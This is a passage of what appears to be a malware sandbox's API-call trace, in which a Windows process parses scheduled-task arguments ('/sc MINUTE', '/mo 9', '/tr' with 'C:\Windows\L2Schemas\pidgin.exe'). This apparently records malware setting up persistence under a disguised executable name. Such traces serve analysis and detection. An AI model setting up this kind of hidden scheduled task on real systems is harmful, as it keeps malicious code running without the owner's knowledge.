(HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90bae0 [0110.957] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.957] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.957] lstrlenW (lpString="/sc") returned 3 [0110.957] lstrlenW (lpString="-/") returned 2 [0110.957] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.957] lstrlenW (lpString="?") returned 1 [0110.957] lstrlenW (lpString="?") returned 1 [0110.957] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.957] lstrlenW (lpString="sc") returned 2 [0110.957] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.957] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.957] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.957] lstrlenW (lpString="|?|") returned 3 [0110.957] lstrlenW (lpString="|sc|") returned 4 [0110.957] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.957] lstrlenW (lpString="create") returned 6 [0110.957] lstrlenW (lpString="create") returned 6 [0110.957] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.957] lstrlenW (lpString="sc") returned 2 [0110.957] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.957] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.957] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.957] lstrlenW (lpString="|create|") returned 8 [0110.957] lstrlenW (lpString="|sc|") returned 4 [0110.957] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0110.957] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.957] lstrlenW (lpString="delete") returned 6 [0110.957] lstrlenW (lpString="delete") returned 6 [0110.957] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] lstrlenW (lpString="sc") returned 2 [0110.958] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|delete|") returned 8 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.958] lstrlenW (lpString="|delete|") returned 8 [0110.958] lstrlenW (lpString="|sc|") returned 4 [0110.958] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0110.958] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.958] lstrlenW (lpString="query") returned 5 [0110.958] lstrlenW (lpString="query") returned 5 [0110.958] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] lstrlenW (lpString="sc") returned 2 [0110.958] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x8, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|query|") returned 7 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.958] lstrlenW (lpString="|query|") returned 7 [0110.958] lstrlenW (lpString="|sc|") returned 4 [0110.958] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0110.958] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.958] lstrlenW (lpString="change") returned 6 [0110.958] lstrlenW (lpString="change") returned 6 [0110.958] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] lstrlenW (lpString="sc") returned 2 [0110.958] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|change|") returned 8 [0110.958] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.958] lstrlenW (lpString="|change|") returned 8 [0110.959] lstrlenW (lpString="|sc|") returned 4 [0110.959] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0110.959] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.959] lstrlenW (lpString="run") returned 3 [0110.959] lstrlenW (lpString="run") returned 3 [0110.959] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.959] lstrlenW (lpString="sc") returned 2 [0110.959] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.959] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|run|") returned 5 [0110.959] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.959] lstrlenW (lpString="|run|") returned 5 [0110.959] lstrlenW (lpString="|sc|") returned 4 [0110.959] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0110.959] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.959] lstrlenW (lpString="end") returned 3 [0110.959] lstrlenW (lpString="end") returned 3 [0110.959] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.959] lstrlenW (lpString="sc") returned 2 [0110.959] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.959] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|end|") returned 5 [0110.959] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.959] lstrlenW (lpString="|end|") returned 5 [0110.959] lstrlenW (lpString="|sc|") returned 4 [0110.959] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0110.959] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.959] lstrlenW (lpString="showsid") returned 7 [0110.959] lstrlenW (lpString="showsid") returned 7 [0110.959] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.960] lstrlenW (lpString="sc") returned 2 [0110.960] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.960] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0xa, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|showsid|") returned 9 [0110.960] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|sc|") returned 4 [0110.960] lstrlenW (lpString="|showsid|") returned 9 [0110.960] lstrlenW (lpString="|sc|") returned 4 [0110.960] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] lstrlenW (lpString="/sc") returned 3 [0110.960] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] lstrlenW (lpString="/sc") returned 3 [0110.960] GetProcessHeap () returned 0x26b6b900000 [0110.960] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x8) returned 0x26b6b9046e0 [0110.960] GetProcessHeap () returned 0x26b6b900000 [0110.960] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b6c0 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] lstrlenW (lpString="MINUTE") returned 6 [0110.960] lstrlenW (lpString="-/") returned 2 [0110.960] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] lstrlenW (lpString="MINUTE") returned 6 [0110.960] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.960] lstrlenW (lpString="MINUTE") returned 6 [0110.961] GetProcessHeap () returned 0x26b6b900000 [0110.961] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b904700 [0110.961] GetProcessHeap () returned 0x26b6b900000 [0110.961] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b4b0 [0110.961] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.961] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.961] lstrlenW (lpString="/mo") returned 3 [0110.961] lstrlenW (lpString="-/") returned 2 [0110.961] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.961] lstrlenW (lpString="?") returned 1 [0110.961] lstrlenW (lpString="?") returned 1 [0110.961] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.961] lstrlenW (lpString="mo") returned 2 [0110.961] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.961] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.961] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.961] lstrlenW (lpString="|?|") returned 3 [0110.961] lstrlenW (lpString="|mo|") returned 4 [0110.961] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.961] lstrlenW (lpString="create") returned 6 [0110.961] lstrlenW (lpString="create") returned 6 [0110.961] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.961] lstrlenW (lpString="mo") returned 2 [0110.961] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.961] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.961] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.961] lstrlenW (lpString="|create|") returned 8 [0110.961] lstrlenW (lpString="|mo|") returned 4 [0110.962] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0110.962] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.962] lstrlenW (lpString="delete") returned 6 [0110.962] lstrlenW (lpString="delete") returned 6 [0110.962] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.962] lstrlenW (lpString="mo") returned 2 [0110.962] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.962] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|delete|") returned 8 [0110.962] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.962] lstrlenW (lpString="|delete|") returned 8 [0110.962] lstrlenW (lpString="|mo|") returned 4 [0110.962] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0110.962] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.962] lstrlenW (lpString="query") returned 5 [0110.962] lstrlenW (lpString="query") returned 5 [0110.962] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.962] lstrlenW (lpString="mo") returned 2 [0110.962] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.962] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x8, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|query|") returned 7 [0110.962] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.962] lstrlenW (lpString="|query|") returned 7 [0110.962] lstrlenW (lpString="|mo|") returned 4 [0110.962] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0110.962] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.962] lstrlenW (lpString="change") returned 6 [0110.962] lstrlenW (lpString="change") returned 6 [0110.962] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.962] lstrlenW (lpString="mo") returned 2 [0110.962] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|change|") returned 8 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.963] lstrlenW (lpString="|change|") returned 8 [0110.963] lstrlenW (lpString="|mo|") returned 4 [0110.963] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0110.963] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.963] lstrlenW (lpString="run") returned 3 [0110.963] lstrlenW (lpString="run") returned 3 [0110.963] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.963] lstrlenW (lpString="mo") returned 2 [0110.963] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|run|") returned 5 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.963] lstrlenW (lpString="|run|") returned 5 [0110.963] lstrlenW (lpString="|mo|") returned 4 [0110.963] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0110.963] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.963] lstrlenW (lpString="end") returned 3 [0110.963] lstrlenW (lpString="end") returned 3 [0110.963] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.963] lstrlenW (lpString="mo") returned 2 [0110.963] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|end|") returned 5 [0110.963] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.963] lstrlenW (lpString="|end|") returned 5 [0110.963] lstrlenW (lpString="|mo|") returned 4 [0110.963] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] lstrlenW (lpString="showsid") returned 7 [0110.964] lstrlenW (lpString="showsid") returned 7 [0110.964] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.964] lstrlenW (lpString="mo") returned 2 [0110.964] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.964] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0xa, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|showsid|") returned 9 [0110.964] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|mo|") returned 4 [0110.964] lstrlenW (lpString="|showsid|") returned 9 [0110.964] lstrlenW (lpString="|mo|") returned 4 [0110.964] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] lstrlenW (lpString="/mo") returned 3 [0110.964] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] lstrlenW (lpString="/mo") returned 3 [0110.964] GetProcessHeap () returned 0x26b6b900000 [0110.964] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x8) returned 0x26b6b904720 [0110.964] GetProcessHeap () returned 0x26b6b900000 [0110.964] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90ba50 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] lstrlenW (lpString="9") returned 1 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] lstrlenW (lpString="9") returned 1 [0110.964] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.964] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.965] lstrlenW (lpString="9") returned 1 [0110.965] GetProcessHeap () returned 0x26b6b900000 [0110.965] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x4) returned 0x26b6b904740 [0110.965] GetProcessHeap () returned 0x26b6b900000 [0110.965] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90ba80 [0110.965] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.965] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.965] lstrlenW (lpString="/tr") returned 3 [0110.965] lstrlenW (lpString="-/") returned 2 [0110.965] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.965] lstrlenW (lpString="?") returned 1 [0110.965] lstrlenW (lpString="?") returned 1 [0110.965] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.965] lstrlenW (lpString="tr") returned 2 [0110.965] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.965] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.965] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.965] lstrlenW (lpString="|?|") returned 3 [0110.965] lstrlenW (lpString="|tr|") returned 4 [0110.965] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.965] lstrlenW (lpString="create") returned 6 [0110.966] lstrlenW (lpString="create") returned 6 [0110.966] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.966] lstrlenW (lpString="tr") returned 2 [0110.966] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.966] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.966] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.966] lstrlenW (lpString="|create|") returned 8 [0110.966] lstrlenW (lpString="|tr|") returned 4 [0110.966] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0110.966] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.966] lstrlenW (lpString="delete") returned 6 [0110.966] lstrlenW (lpString="delete") returned 6 [0110.966] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.966] lstrlenW (lpString="tr") returned 2 [0110.966] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.968] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|delete|") returned 8 [0110.968] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.968] lstrlenW (lpString="|delete|") returned 8 [0110.968] lstrlenW (lpString="|tr|") returned 4 [0110.968] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0110.968] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.969] lstrlenW (lpString="query") returned 5 [0110.969] lstrlenW (lpString="query") returned 5 [0110.969] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] lstrlenW (lpString="tr") returned 2 [0110.969] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x8, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|query|") returned 7 [0110.969] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.969] lstrlenW (lpString="|query|") returned 7 [0110.969] lstrlenW (lpString="|tr|") returned 4 [0110.969] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0110.969] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.969] lstrlenW (lpString="change") returned 6 [0110.969] lstrlenW (lpString="change") returned 6 [0110.969] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] lstrlenW (lpString="tr") returned 2 [0110.969] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|change|") returned 8 [0110.969] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.969] lstrlenW (lpString="|change|") returned 8 [0110.969] lstrlenW (lpString="|tr|") returned 4 [0110.969] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0110.969] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.969] lstrlenW (lpString="run") returned 3 [0110.969] lstrlenW (lpString="run") returned 3 [0110.969] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] lstrlenW (lpString="tr") returned 2 [0110.969] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.969] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|run|") returned 5 [0110.970] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.970] lstrlenW (lpString="|run|") returned 5 [0110.970] lstrlenW (lpString="|tr|") returned 4 [0110.970] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0110.970] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.970] lstrlenW (lpString="end") returned 3 [0110.970] lstrlenW (lpString="end") returned 3 [0110.970] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.970] lstrlenW (lpString="tr") returned 2 [0110.970] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.970] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|end|") returned 5 [0110.970] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.970] lstrlenW (lpString="|end|") returned 5 [0110.970] lstrlenW (lpString="|tr|") returned 4 [0110.970] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0110.970] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.970] lstrlenW (lpString="showsid") returned 7 [0110.970] lstrlenW (lpString="showsid") returned 7 [0110.970] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.970] lstrlenW (lpString="tr") returned 2 [0110.970] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.970] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0xa, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|showsid|") returned 9 [0110.970] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tr|") returned 4 [0110.970] lstrlenW (lpString="|showsid|") returned 9 [0110.970] lstrlenW (lpString="|tr|") returned 4 [0110.970] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0110.970] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.970] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.970] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] lstrlenW (lpString="/tr") returned 3 [0110.971] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] lstrlenW (lpString="/tr") returned 3 [0110.971] GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x8) returned 0x26b6b904760 [0110.971] GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b8d0 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0110.971] lstrlenW (lpString="-/") returned 2 [0110.971] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.971] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0110.971] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0110.971] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0110.971] GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904780 [0110.971] _memicmp (_Buf1=0x26b6b904780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.971] GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xe) returned 0x26b6b90aa10 [0110.971] 